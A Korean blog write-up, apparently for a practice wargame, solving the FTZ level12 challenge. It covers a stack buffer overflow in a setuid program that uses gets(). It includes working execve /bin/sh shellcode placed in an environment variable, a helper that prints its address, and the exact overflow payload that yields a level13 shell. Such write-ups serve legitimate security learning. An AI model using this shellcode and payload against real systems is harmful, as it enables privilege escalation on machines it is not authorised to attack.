Security/FTZ

FTZ level12

FTZ Level12

ID : level12 PW: it is like this


먼저 ls -l을 이용해 어떤 파일이 있는지 살펴보자

attackme 프로그램에 level13의 권한으로 setuid가 걸려있는 것을 확인할 수 있다.


우선 hint의 내용을 보자

cat hint

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
      char str[256];                  # 256바이트 크기의 문자형 배열

      setreuid(3093, 3093);           #level13의 프로세스 ID
      printf("문장을 입력하세요.\n");
      gets(str);                      #gets 함수로 배열 str에 입력을 받음
      printf("%s\n", str);            #입력받은 내용 출력
}

gets 함수에서 BOF가 일어날 수 있다!!


우리의 목적을 생각해보자.

버퍼에 버퍼크기보다 넘치는 양을 담아 오버플로우를 일으킨 후 ret까지 도달해 ret에 쉘 코드 주소를 넣을 것이다.
그렇다면..!!!

  1. str[256]에서 ret까지의 거리 구하기
  2. 환경변수로 쉘 코드 등록하고 위치 찾는 코드를 짜 주소 확인하기
  3. ret 위치까지 갈 페이로드 작성하기
  4. 작성한 페이로드로 공격해 쉘 획득하기!!

attackme 코드를 디버깅해야하기 때문에 tmp폴더로 복사하자.

cp attackme tmp


그리고 디버깅을 해보자

gdb -q attackme

disas main

<main+3>을 보면 esp에서 0x108만큼 빼고 있다. 여기서 0x108은 10진수로 264이다.

필요한 공간은 str배열의 크기인 256일텐데 왜 264나 자리를 마련했을까?

바로 dummy다! 8byte의 dummy가 존재하는 것이다. (왜 존재할까)

ret전에 sfp 4바이트가 존재할테니 결론적으로 말하면

str에서 ret까지의 거리는 총 268byte이다!

자, 2번으로 넘어가자.

다음과 같이 환경변수를 작성해보자. 쉘 코드는 구글에서 돌아다니는 25byte짜리를 가져왔다.

(다음에 쉘 코드에 대해 더 공부해봐야겠다....)

export shellcode=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

이제 쉘 코드의 주소를 알아보자

vi shell.c vi로 쉘 주소 알아내는 코드를 작성해보자

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[1]){
      printf("%p\n", getenv("shellcode"));
      return 0;
}

그리고 만든 c코드를 컴파일 한 후

gcc -o shell shell.c

실행시킨다!

./shell

그럼 주소가 떨어진다

필자의 경우 0xbffffef4였다.

이제 페이로드를 작성해보자.

페이로드는 (python -c 'print "A"*268+"\xf4\xfe\xff\xbf";cat)|./attackme가 될 것이다.

(주소는 little endian 방식으로 입력된다)



cd .. 다시 원래 디렉토리로 되돌아가서

공격 실시!

(python -c 'print "A"*268+"\xf4\xfe\xff\xbf";cat)|./attackme

my-pass로 비밀번호를 물어보면

Level13 Password is "~~". 라고 나올 것이다!!

'Security > FTZ' 카테고리의 다른 글

FTZ level14  (0) 2021.03.05
FTZ level13  (0) 2021.03.05